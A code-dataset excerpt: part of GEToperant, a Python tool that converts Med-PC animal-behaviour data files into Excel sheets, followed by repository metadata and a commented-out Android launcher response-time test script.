range(1,max(range(profilesheet.nrows))+1): cell0 = profilesheet.cell(r,0) Label.append(str(cell0).split("\'")[1]) cell1 = profilesheet.cell(r,1) if 'empty' in str(cell1): LabelStartValue.append(None) elif 'number' in str(cell1): LabelStartValue.append(int(float(str(cell1).split(":")[1]))) cell2 = profilesheet.cell(r,2) if 'empty' in str(cell2): LabelIncrement.append(None) elif 'number' in str(cell2): LabelIncrement.append(int(float(str(cell2).split(":")[1]))) cell3 = profilesheet.cell(r,3) ArrayVar.append(str(cell3).split("\'")[1]) cell4 = profilesheet.cell(r,4) StartElement.append(int(float(str(cell4).split(":")[1]))) cell5 = profilesheet.cell(r,5) if 'empty' in str(cell5): ArrayIncrement.append(None) elif 'number' in str(cell5): ArrayIncrement.append(int(float(str(cell5).split(":")[1]))) cell6 = profilesheet.cell(r,6) if 'empty' in str(cell6) or 'text' in str(cell6): StopElement.append(None) elif 'number' in str(cell6): StopElement.append(int(float(str(cell6).split(":")[1]))) elif 'mrp' in GETprofile[-3:].lower(): rowprofile = open(GETprofile, 'r').readlines() for i in range(0, len(rowprofile), 2): ### For each label in the MRP, decide if it is a data value, if so, then import it row_check = re.search(r'\D$\d+$', rowprofile[i+1]) if row_check != None: Label.append(rowprofile[i][:-1]) LabelStartValue.append(None) LabelIncrement.append(None) ArrayVar.append(rowprofile[i+1][0]) StartElement.append(int(re.search(r'\d+', rowprofile[i+1]).group(0))) ArrayIncrement.append(0) StopElement.append(None) elif 'comment' in rowprofile[i+1].lower(): Label.append(rowprofile[i][:-1]) LabelStartValue.append(None) LabelIncrement.append(None) ArrayVar.append('Comments') StartElement.append(0) ArrayIncrement.append(0) StopElement.append(None) ### The relevant fields in the Med-PC file are then defined as a series of lists Filenames = list() Startdate = list() Enddate = list() Subject = list() Experiment = list() Group = list() Box = list() Starttime = list() Endtime = list() MSN = list() A = list() B = list() C = list() D = list() E = list() F = list() G = list() H = list() I = list() J = list() K = list() L = list() M = list() N = list() O = list() P = list() Q = list() R = list() S = list() T = list() U = list() V = list() W = list() X = list() Y = list() Z = list() Comments = list() ### The datavars variable holds the names of all the data variables. ### It will be used to loop over the arrays at the end of each subject ### and even out any length differences datavars = list(['A','B','C','D','E','F', 'G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T', 'U','V','W','X','Y','Z']) ### Values will hold the numbers for each array so they can be collected and flattened values = list() currentarray = '' shortpath = '' if mode == 'Main': MPC_filelist = list(MPCdatafiles) MPC_file = list() for i in MPC_filelist: MPC_file.append(open(i, 'r').readlines()) ### Begin the for loop that will loop over the data and collect everything into MPC_file for i in MPC_file: for line in i: # Begin by collecting the headers # Collect the file names if 'File' in line: path = line[6:-1] Filenames.append(path) shortpath = line.split('\\')[-1] # Collect the start and end dates in ISO 8601 format, correcting for a lack of Y2KCOMPLIANT. elif 'Start Date' in line: if len(line) < 22: Startdate.append("20"+line[18:-1]+"-"+line[12:14]+"-"+line[15:17]) else: Startdate.append(line[18:-1]+"-"+line[12:14]+"-"+line[15:17]) if len(Startdate) > len(Filenames): Filenames.append(shortpath) elif 'End Date' in line: if len(line) < 20: Enddate.append("20"+line[16:-1]+"-"+line[10:12]+"-"+line[13:15]) else: Enddate.append(line[16:-1]+"-"+line[10:12]+"-"+line[13:15]) # Similarly, collect subject, experiment, group, box, start time, end time and program name elif 'Subject' in line: Subject.append(line[9:-1]) elif 'Experiment' in line: Experiment.append(line[12:-1]) elif 'Group' in line: Group.append(line[7:-1]) elif 'Box' in line: Box.append(line[5:-1]) elif 'Start Time' in line: if line[12] == ' ': Starttime.append(line[13:-1]) else: Starttime.append(line[12:-1]) elif 'End Time' in line: if line[10] == ' ': Endtime.append(line[11:-1]) else: Endtime.append(line[10:-1]) elif 'MSN' in line: MSN.append(line[5:-1]) # Check for an array header, if it is present, check if values have been entered into # a previous data array. If there are previous data values, flatten the data array and dump them. elif len(line) > 1: if re.search(r'\D:', line) != None and line[0:1] != '\\': if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() ### here we should check for whether the letter has been printed as just a variable. if re.search(r'\d', line) != None and line[0:1] != '\\': currentarray = line[0] values.append(line.split()[1]) eval(currentarray).append(values) values = list() ### then we should set the beginning of a new array. else: currentarray = line[0] ### this part checks if the line is a comment and then collects the data elif line[0:1] == '\\': if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() Comments.append(line[1:-1]) else: Comments.append(line[1:-1]) else: values.append(line.split()[1:]) elif line == '\n' or len(line) < 1: if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() if len(Startdate) > len(Comments): Comments.append(None) for v in datavars: if len(eval(v)) < len(Startdate): eval(v).append(list()) ### Check to see if the for loop has ended on a line with values. ### Tie off the loose ends if len(line) > 1: if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() if len(Startdate) > len(Comments): Comments.append(None) for v in datavars: if len(eval(v)) < len(Startdate): eval(v).append(list()) ### This final part will begin writing the data to the Excel file. output = xlsxwriter.Workbook(outputfile) output.set_properties({ 'title': 'Med-PC Data', 'subject': 'Animal behaviour', 'category': 'Raw data', 'comments': 'Extracted using GEToperant. GEToperant is free open source software. https://www.github.com/SKhoo' }) mainsheet = output.add_worksheet('GEToperant output') ### Write the headers mainsheet.set_column('A:A', 15) lastrow = -1 if exportfilename == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Filename') for i in range(len(Filenames)): mainsheet.write(lastrow, i+1, Filenames[i]) if exportstartdate == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Start Date') for i in range(len(Startdate)): mainsheet.write(lastrow, i+1, Startdate[i]) if exportenddate == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'End Date') for i in range(len(Enddate)): mainsheet.write(lastrow, i+1, Enddate[i]) if exportsubject == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Subject') for i in range(len(Subject)): mainsheet.write(lastrow, i+1, Subject[i]) if exportexperiment == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Experiment') for i in range(len(Subject)): mainsheet.write(lastrow, i+1, Experiment[i]) if exportgroup == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Group') for i in range(len(Group)): mainsheet.write(lastrow, i+1, Group[i]) if exportbox == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Box') for i in range(len(Box)): mainsheet.write(lastrow, i+1, float(Box[i])) if exportstarttime == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Start Time') for i in range(len(Starttime)): mainsheet.write(lastrow, i+1, Starttime[i]) if exportendtime == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'End Time') for i in range(len(Endtime)): mainsheet.write(lastrow, i+1, Endtime[i]) if exportmsn == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'MSN') for i in range(len(MSN)): mainsheet.write(lastrow, i+1, MSN[i]) for i in range(len(Label)): ### This function will loop over the profile. For each label it will check if it is ### 1. A single element extraction ### 2. A partial array extraction ### 3. A full array extraction if ArrayIncrement[i] < 1: # Single element extraction takes only the label lastrow = lastrow + 1 mainsheet.write(lastrow, 0, Label[i]) if 'comment' in ArrayVar[i].lower(): for k in range(len(Subject)): if k < len(Comments): mainsheet.write(lastrow, k+1, Comments[k]) else: mainsheet.write(lastrow, k+1, None) else: for k in range(len(Subject)): if len(eval(ArrayVar[i])) > 0 and StartElement[i] < len(eval(ArrayVar[i])[k]): mainsheet.write(lastrow, k+1, float(eval(ArrayVar[i])[k][StartElement[i]])) else: mainsheet.write(lastrow, k+1, None) elif ArrayIncrement[i] > 0: if StopElement[i] == None or isinstance(StopElement[i], str): steps = range(StartElement[i], len(max(eval(ArrayVar[i]), key = len)), ArrayIncrement[i]) elif StopElement[i] > StartElement[i]: if len(max(eval(ArrayVar[i]), key = len)) < StopElement[i] + 1: steps = range(StartElement[i], len(max(eval(ArrayVar[i]), key = len)), ArrayIncrement[i]) else: steps = range(StartElement[i], StopElement[i] + 1, ArrayIncrement[i]) for x in steps: lastrow = lastrow + 1 for k in range(len(Subject)): if LabelIncrement[i] != None and LabelIncrement[i] > 0: mainsheet.write(lastrow, 0, Label[i] + ' ' + str(LabelStartValue[i] + int((x-StartElement[i])/ArrayIncrement[i]) * LabelIncrement[i])) else: mainsheet.write(lastrow, 0, Label[i]) if x < len(eval(ArrayVar[i])[k]): mainsheet.write(lastrow, k+1, float(eval(ArrayVar[i])[k][x])) else: mainsheet.write(lastrow, k+1, None) output.close() elif mode == 'Sheets': MPC_filelist = MPCdatafiles output = xlsxwriter.Workbook(outputfile) output.set_properties({ 'title': 'Med-PC Data', 'subject': 'Animal behaviour', 'category': 'Raw data', 'comments': 'Extracted using GEToperant. GEToperant is free open source software. https://www.github.com/SKhoo' }) for dfile in MPC_filelist: ### Get the filename and use it for the sheet ### If the filename is 32 characters or longer, shorten it MPC_file = open(dfile, 'r').readlines() sheetname = dfile.split('/')[-1] if len(sheetname) >= 32: sheetname = sheetname[:31] ### The relevant fields in the Med-PC file are then defined as a series of lists Filenames = list() Startdate = list() Enddate = list() Subject = list() Experiment = list() Group = list() Box = list() Starttime = list() Endtime = list() MSN = list() A = list() B = list() C = list() D = list() E = list() F = list() G = list() H = list() I = list() J = list() K = list() L = list() M = list() N = list() O = list() P = list() Q = list() R = list() S = list() T = list() U = list() V = list() W = list() X = list() Y = list() Z = list() Comments = list() ### The datavars variable holds the names of all the data variables. ### It will be used to loop over the arrays at the end of each subject ### and even out any length differences datavars = list(['A','B','C','D','E','F', 'G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T', 'U','V','W','X','Y','Z']) ### Values will hold the numbers for each array so they can be collected and flattened values = list() currentarray = '' ### Begin the for loop that will loop over the data and collect everything into MPC_file for line in MPC_file: # Begin by collecting the headers # Collect the file names if 'File' in line: path = line[6:-1] Filenames.append(path) # Collect the start and end dates in ISO 8601 format, correcting for a lack of Y2KCOMPLIANT. elif 'Start Date' in line: if len(line) < 22: Startdate.append("20"+line[18:-1]+"-"+line[12:14]+"-"+line[15:17]) else: Startdate.append(line[18:-1]+"-"+line[12:14]+"-"+line[15:17]) if len(Startdate) > len(Filenames): Filenames.append(None) elif 'End Date' in line: if len(line) < 20: Enddate.append("20"+line[16:-1]+"-"+line[10:12]+"-"+line[13:15]) else: Enddate.append(line[16:-1]+"-"+line[10:12]+"-"+line[13:15]) # Similarly, collect subject, experiment, group, box, start time, end time and program name elif 'Subject' in line: Subject.append(line[9:-1]) elif 'Experiment' in line: Experiment.append(line[12:-1]) elif 'Group' in line: Group.append(line[7:-1]) elif 'Box' in line: Box.append(line[5:-1]) elif 'Start Time' in line: if line[12] == ' ': Starttime.append(line[13:-1]) else: Starttime.append(line[12:-1]) elif 'End Time' in line: if line[10] == ' ': Endtime.append(line[11:-1]) else: Endtime.append(line[10:-1]) elif 'MSN' in line: MSN.append(line[5:-1]) # Check for an array header, if it is present, check if values have been entered into # a previous data array. If there are previous data values, flatten the data array and dump them. elif len(line) > 1: if re.search(r'\D:', line) != None and line[0:1] != '\\': if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() ### here we should check for whether the letter has been printed as just a variable. if re.search(r'\d', line) != None and line[0:1] != '\\': currentarray = line[0] values.append(line.split()[1]) eval(currentarray).append(values) values = list() ### then we should set the beginning of a new array. else: currentarray = line[0] ### this part checks if the line is a comment and then collects the data elif line[0:1] == '\\': if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() Comments.append(line[1:-1]) else: Comments.append(line[1:-1]) else: values.append(line.split()[1:]) elif line == '\n' or len(line) < 1: if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() if len(Startdate) > len(Comments): Comments.append(None) for v in datavars: if len(eval(v)) < len(Startdate): eval(v).append(list()) ### Check to see if the for loop has ended on a line with values. ### Tie off the loose ends if len(line) > 1: if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() if len(Startdate) > len(Comments): Comments.append(None) for v in datavars: if len(eval(v)) < len(Startdate): eval(v).append(list()) ### This final part will begin writing the data to the Excel file. mainsheet = output.add_worksheet(sheetname) ### Write the headers mainsheet.set_column('A:A', 15) lastrow = -1 if exportfilename == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Filename') for i in range(len(Filenames)): mainsheet.write(lastrow, i+1, Filenames[i]) if exportstartdate == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Start Date') for i in range(len(Startdate)): mainsheet.write(lastrow, i+1, Startdate[i]) if exportenddate == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'End Date') for i in range(len(Enddate)): mainsheet.write(lastrow, i+1, Enddate[i]) if exportsubject == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Subject') for i in range(len(Subject)): mainsheet.write(lastrow, i+1, Subject[i]) if exportexperiment == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Experiment') for i in range(len(Subject)): mainsheet.write(lastrow, i+1, Experiment[i]) if exportgroup == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Group') for i in range(len(Group)): mainsheet.write(lastrow, i+1, Group[i]) if exportbox == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Box') for i in range(len(Box)): mainsheet.write(lastrow, i+1, float(Box[i])) if exportstarttime == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Start Time') for i in range(len(Starttime)): mainsheet.write(lastrow, i+1, Starttime[i]) if exportendtime == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'End Time') for i in range(len(Endtime)): mainsheet.write(lastrow, i+1, Endtime[i]) if exportmsn == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'MSN') for i in range(len(MSN)): mainsheet.write(lastrow, i+1, MSN[i]) for i in range(len(Label)): ### This function will loop over the profile. For each label it will check if it is ### 1. A single element extraction ### 2. A partial array extraction ### 3. A full array extraction if ArrayIncrement[i] < 1: # Single element extraction takes only the label lastrow = lastrow + 1 mainsheet.write(lastrow, 0, Label[i]) if 'comment' in ArrayVar[i].lower(): for k in range(len(Subject)): if k < len(Comments): mainsheet.write(lastrow, k+1, Comments[k]) else: mainsheet.write(lastrow, k+1, None) else: for k in range(len(Subject)): if len(eval(ArrayVar[i])) > 0 and StartElement[i] < len(eval(ArrayVar[i])[k]): mainsheet.write(lastrow, k+1, float(eval(ArrayVar[i])[k][StartElement[i]])) else: mainsheet.write(lastrow, k+1, None) elif ArrayIncrement[i] > 0: if StopElement[i] == None or isinstance(StopElement[i], str): steps = range(StartElement[i], len(max(eval(ArrayVar[i]), key = len)), ArrayIncrement[i]) elif StopElement[i] > StartElement[i]: if len(max(eval(ArrayVar[i]), key = len)) < StopElement[i] + 1: steps = range(StartElement[i], len(max(eval(ArrayVar[i]), key = len)), ArrayIncrement[i]) else: steps = range(StartElement[i], StopElement[i] + 1, ArrayIncrement[i]) for x in steps: lastrow = lastrow + 1 for k in range(len(Subject)): if LabelIncrement[i] != None and LabelIncrement[i] > 0: mainsheet.write(lastrow, 0, Label[i] + ' ' + str(LabelStartValue[i] + int((x-StartElement[i])/ArrayIncrement[i]) * LabelIncrement[i])) else: mainsheet.write(lastrow, 0, Label[i]) if x < len(eval(ArrayVar[i])[k]): mainsheet.write(lastrow, k+1, float(eval(ArrayVar[i])[k][x])) else: mainsheet.write(lastrow, k+1, None) output.close() elif mode == 'Books': MPC_filelist = MPCdatafiles for dfile in MPC_filelist: xlsxfilename = dfile.split('/')[-1] MPC_file = open(dfile, 'r').readlines() Filenames = list() Startdate = list() Enddate = list() Subject = list() Experiment = list() Group = list() Box = list() Starttime = list() Endtime = list() MSN = list() A = list() B = list() C = list() D = list() E = list() F = list() G = list() H = list() I = list() J = list() K = list() L = list() M = list() N = list() O = list() P = list() Q = list() R = list() S = list() T = list() U = list() V = list() W = list() X = list() Y = list() Z = list() Comments = list() ### The datavars variable holds the names of all the data variables. ### It will be used to loop over the arrays at the end of each subject ### and even out any length differences datavars = list(['A','B','C','D','E','F', 'G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T', 'U','V','W','X','Y','Z']) ### Values will hold the numbers for each array so they can be collected and flattened values = list() currentarray = '' ### Begin the for loop that will loop over the data and collect everything into MPC_file for line in MPC_file: # Begin by collecting the headers # Collect the file names if 'File' in line: path = line[6:-1] Filenames.append(path) # Collect the start and end dates in ISO 8601 format, correcting for a lack of Y2KCOMPLIANT. elif 'Start Date' in line: if len(line) < 22: Startdate.append("20"+line[18:-1]+"-"+line[12:14]+"-"+line[15:17]) else: Startdate.append(line[18:-1]+"-"+line[12:14]+"-"+line[15:17]) if len(Startdate) > len(Filenames): Filenames.append(None) elif 'End Date' in line: if len(line) < 20: Enddate.append("20"+line[16:-1]+"-"+line[10:12]+"-"+line[13:15]) else: Enddate.append(line[16:-1]+"-"+line[10:12]+"-"+line[13:15]) # Similarly, collect subject, experiment, group, box, start time, end time and program name elif 'Subject' in line: Subject.append(line[9:-1]) elif 'Experiment' in line: Experiment.append(line[12:-1]) elif 'Group' in line: Group.append(line[7:-1]) elif 'Box' in line: Box.append(line[5:-1]) elif 'Start Time' in line: if line[12] == ' ': Starttime.append(line[13:-1]) else: Starttime.append(line[12:-1]) elif 'End Time' in line: if line[10] == ' ': Endtime.append(line[11:-1]) else: Endtime.append(line[10:-1]) elif 'MSN' in line: MSN.append(line[5:-1]) # Check for an array header, if it is present, check if values have been entered into # a previous data array. If there are previous data values, flatten the data array and dump them. elif len(line) > 1: if re.search(r'\D:', line) != None and line[0:1] != '\\': if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() ### here we should check for whether the letter has been printed as just a variable. if re.search(r'\d', line) != None and line[0:1] != '\\': currentarray = line[0] values.append(line.split()[1]) eval(currentarray).append(values) values = list() ### then we should set the beginning of a new array. else: currentarray = line[0] ### this part checks if the line is a comment and then collects the data elif line[0:1] == '\\': if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() Comments.append(line[1:-1]) else: Comments.append(line[1:-1]) else: values.append(line.split()[1:]) elif line == '\n' or len(line) < 1: if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() if len(Startdate) > len(Comments): Comments.append(None) for v in datavars: if len(eval(v)) < len(Startdate): eval(v).append(list()) ### Check to see if the for loop has ended on a line with values. ### Tie off the loose ends if len(line) > 1: if len(values) > 0: values = list(itertools.chain.from_iterable(values)) eval(currentarray).append(values) values = list() if len(Startdate) > len(Comments): Comments.append(None) for v in datavars: if len(eval(v)) < len(Startdate): eval(v).append(list()) ### This final part will begin writing the data to the Excel file. fullpath = outputfile + '/' + xlsxfilename + '.xlsx' output = xlsxwriter.Workbook(fullpath) output.set_properties({ 'title': 'Med-PC Data', 'subject': 'Animal behaviour', 'category': 'Raw data', 'comments': 'Extracted using GEToperant. GEToperant is free open source software. https://www.github.com/SKhoo' }) mainsheet = output.add_worksheet('GEToperant output') ### Write the headers mainsheet.set_column('A:A', 15) lastrow = -1 if exportfilename == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Filename') for i in range(len(Filenames)): mainsheet.write(lastrow, i+1, Filenames[i]) if exportstartdate == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Start Date') for i in range(len(Startdate)): mainsheet.write(lastrow, i+1, Startdate[i]) if exportenddate == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'End Date') for i in range(len(Enddate)): mainsheet.write(lastrow, i+1, Enddate[i]) if exportsubject == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Subject') for i in range(len(Subject)): mainsheet.write(lastrow, i+1, Subject[i]) if exportexperiment == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Experiment') for i in range(len(Subject)): mainsheet.write(lastrow, i+1, Experiment[i]) if exportgroup == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Group') for i in range(len(Group)): mainsheet.write(lastrow, i+1, Group[i]) if exportbox == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Box') for i in range(len(Box)): mainsheet.write(lastrow, i+1, float(Box[i])) if exportstarttime == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'Start Time') for i in range(len(Starttime)): mainsheet.write(lastrow, i+1, Starttime[i]) if exportendtime == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'End Time') for i in range(len(Endtime)): mainsheet.write(lastrow, i+1, Endtime[i]) if exportmsn == 1: lastrow = lastrow + 1 mainsheet.write(lastrow, 0, 'MSN') for i in range(len(MSN)): mainsheet.write(lastrow, i+1, MSN[i]) for i in range(len(Label)): ### This function will loop over the profile. For each label it will check if it is ### 1. A single element extraction ### 2. A partial array extraction ### 3. A full array extraction if ArrayIncrement[i] < 1: # Single element extraction takes only the label lastrow = lastrow + 1 mainsheet.write(lastrow, 0, Label[i]) if 'comment' in ArrayVar[i].lower(): for k in range(len(Subject)): if k < len(Comments): mainsheet.write(lastrow, k+1, Comments[k]) else: mainsheet.write(lastrow, k+1, None) else: for k in range(len(Subject)): if len(eval(ArrayVar[i])) > 0 and StartElement[i] < len(eval(ArrayVar[i])[k]): mainsheet.write(lastrow, k+1, float(eval(ArrayVar[i])[k][StartElement[i]])) else: mainsheet.write(lastrow, k+1, None) elif ArrayIncrement[i] > 0: if StopElement[i] == None or isinstance(StopElement[i], str): steps = range(StartElement[i], len(max(eval(ArrayVar[i]), key = len)), ArrayIncrement[i]) elif StopElement[i] > StartElement[i]: if len(max(eval(ArrayVar[i]), key = len)) < StopElement[i] + 1: steps = range(StartElement[i], len(max(eval(ArrayVar[i]), key = len)), ArrayIncrement[i]) else: steps = range(StartElement[i], StopElement[i] + 1, ArrayIncrement[i]) for x in steps: lastrow = lastrow + 1 for k in range(len(Subject)): if LabelIncrement[i] != None and LabelIncrement[i] > 0: mainsheet.write(lastrow, 0, Label[i] + ' ' + str(LabelStartValue[i] + int((x-StartElement[i])/ArrayIncrement[i]) * LabelIncrement[i])) else: mainsheet.write(lastrow, 0, Label[i]) if x < len(eval(ArrayVar[i])[k]): mainsheet.write(lastrow, k+1, float(eval(ArrayVar[i])[k][x])) else: mainsheet.write(lastrow, k+1, None) output.close()

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0.070013

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0.783756

0

0.024598

0.42087

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1,041

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44.370797

0.782729

0.121541

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1

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1

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null

0

7

1b35461cf6a6e316af92526384bd3102c452ca36

11,415

py

Python

example/test_launcher/test_hilauncher_response_time.py

bentonq-yi/casium

ee0bdd5b9600db6149f4ae9b9e38aae5ff38e601

[ "Apache-2.0" ]

1

2017-11-09T09:01:51.000Z

example/test_launcher/test_hilauncher_response_time.py

bentonq-yi/casium

ee0bdd5b9600db6149f4ae9b9e38aae5ff38e601

[ "Apache-2.0" ]

null

example/test_launcher/test_hilauncher_response_time.py

bentonq-yi/casium

ee0bdd5b9600db6149f4ae9b9e38aae5ff38e601

[ "Apache-2.0" ]

null

# from selenium.common.exceptions import NoSuchElementException # # from roboui import Device, By # from test_launcher.launcher import Launcher # # PACKAGE_HILAUNCHER = 'com.transsion.hilauncher' # PACKAGE_CONTACTS = 'com.android.contacts' # PACKAGE_MESSAGES = 'com.android.mms' # PACKAGE_CAMERA = 'com.mediatek.camera' # PACKAGE_SETTINGS = 'com.android.settings' # PACKAGE_BROWSER = 'com.transsion.phoenix' # PACKAGE_PICTURE = 'com.android.gallery3d' # # TEST_STEP_APP_OPEN = 0 # TEST_STEP_APP_CLOSE = 1 # CLOSE_METHOD_PRESS_BACK = 0 # CLOSE_METHOD_PRESS_HOME = 1 # # # VIEW_GROUP = 'android.view.ViewGroup' # # def test_contact_open(repeat_count, systrace_info): # launch_app_and_collect_systrace('Contacts', PACKAGE_CONTACTS, repeat_count, systrace_info, TEST_STEP_APP_OPEN, CLOSE_METHOD_PRESS_BACK) # # def test_contact_close_by_back(repeat_count, systrace_info): # launch_app_and_collect_systrace('Contacts', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_BACK) # # def test_contact_close_by_home(repeat_count, systrace_info): # launch_app_and_collect_systrace('Contacts', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_HOME) # # def test_messages_open(repeat_count, systrace_info): # launch_app_and_collect_systrace('Messages', PACKAGE_MESSAGES, repeat_count, systrace_info, TEST_STEP_APP_OPEN, CLOSE_METHOD_PRESS_BACK) # # def test_messages_close_by_back(repeat_count, systrace_info): # launch_app_and_collect_systrace('Messages', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_BACK) # # def test_messages_close_by_home(repeat_count, systrace_info): # launch_app_and_collect_systrace('Messages', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_HOME) # # def test_camera_open(repeat_count, systrace_info): # launch_app_and_collect_systrace('Camera', PACKAGE_CAMERA, repeat_count, systrace_info, TEST_STEP_APP_OPEN, CLOSE_METHOD_PRESS_BACK) # # def test_camera_close_by_back(repeat_count, systrace_info): # launch_app_and_collect_systrace('Camera', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_BACK) # # def test_camera_close_by_home(repeat_count, systrace_info): # launch_app_and_collect_systrace('Camera', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_HOME) # # def test_settings_open(repeat_count, systrace_info): # launch_app_and_collect_systrace('Settings', PACKAGE_SETTINGS, repeat_count, systrace_info, TEST_STEP_APP_OPEN, CLOSE_METHOD_PRESS_BACK) # # def test_settings_close_by_back(repeat_count, systrace_info): # launch_app_and_collect_systrace('Settings', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_BACK) # # def test_settings_close_by_home(repeat_count, systrace_info): # launch_app_and_collect_systrace('Settings', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_HOME) # # def test_browser_open(repeat_count, systrace_info): # l = Launcher() # d = Device() # l.skip_all_guide() # l.home() # l.open_drawer() # app = l.find_icon_in_drawer('PHX Browser') # for i in range(repeat_count): # systrace_info.systrace_begin(PACKAGE_BROWSER) # app.click() # systrace_info.systrace_end() # d.press_back() # d.find_element(By.text('CONFIRM')).click() # l.home() # l.home() # # def test_browser_close_by_back(repeat_count, systrace_info): # l = Launcher() # d = Device() # l.skip_all_guide() # l.home() # l.open_drawer() # app = l.find_icon_in_drawer('PHX Browser') # for i in range(repeat_count): # app.click() # d.press_back() # systrace_info.systrace_begin(PACKAGE_HILAUNCHER) # d.find_element(By.text('CONFIRM')).click() # systrace_info.systrace_end() # l.home() # l.home() # # def test_browser_close_by_home(repeat_count, systrace_info): # launch_app_and_collect_systrace('PHX Browser', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_HOME) # # def test_picture_open(repeat_count, systrace_info): # launch_app_and_collect_systrace('My Picture', PACKAGE_PICTURE, repeat_count, systrace_info, TEST_STEP_APP_OPEN, CLOSE_METHOD_PRESS_BACK) # # def test_picture_close_by_back(repeat_count, systrace_info): # launch_app_and_collect_systrace('My Picture', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_BACK) # # def test_picture_close_by_home(repeat_count, systrace_info): # launch_app_and_collect_systrace('My Picture', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_CLOSE, CLOSE_METHOD_PRESS_HOME) # # def test_open_folder(repeat_count, systrace_info): # l = Launcher() # l.skip_all_guide() # l.home() # l.add_icon_to_page(0) # # d = Device() # workspace = d.find_element(By.resource_id('workspace')) # # try: # folder = workspace.find_element(By.description_starts_with('Folder:')) # except NoSuchElementException: # l = Launcher() # l.create_folder(9) # folder = workspace.find_element(By.description_starts_with('Folder:')) # # for i in range(repeat_count): # systrace_info.systrace_begin(PACKAGE_HILAUNCHER) # folder.click() # systrace_info.systrace_end() # d.press_back() # d.press_home() # # def test_open_folder_add_apps_page(repeat_count, systrace_info): # l = Launcher() # l.skip_all_guide() # l.home() # # d = Device() # workspace = d.find_element(By.resource_id('workspace')) # try: # folder = workspace.find_element(By.description_starts_with('Folder:')) # except NoSuchElementException: # l.create_folder(9) # folder = workspace.find_element(By.description_starts_with('Folder:')) # # for i in range(repeat_count): # folder.click() # systrace_info.systrace_begin(PACKAGE_HILAUNCHER) # d.click(540.0 / 1080.0, 1689.0 / 1920.0) # systrace_info.systrace_end() # d.press_back() # d.press_home() # # def test_open_option_menu(repeat_count, systrace_info): # l = Launcher() # l.skip_all_guide() # l.home() # l.add_icon_to_page(0) # # d = Device() # workspace = d.find_element(By.resource_id('workspace')) # app = workspace.find_element(By.xpath('//%s/android.widget.TextView[last()]' % VIEW_GROUP)) # # for i in range(repeat_count): # systrace_info.systrace_begin(PACKAGE_HILAUNCHER) # app.long_click() # systrace_info.systrace_end() # d.press_back() # # def test_drawer_open(repeat_count, systrace_info): # l = Launcher() # l.skip_all_guide() # l.home() # l.add_icon_to_page(0) # # for i in range(repeat_count): # systrace_info.systrace_begin(PACKAGE_HILAUNCHER) # l.open_drawer() # systrace_info.systrace_end() # 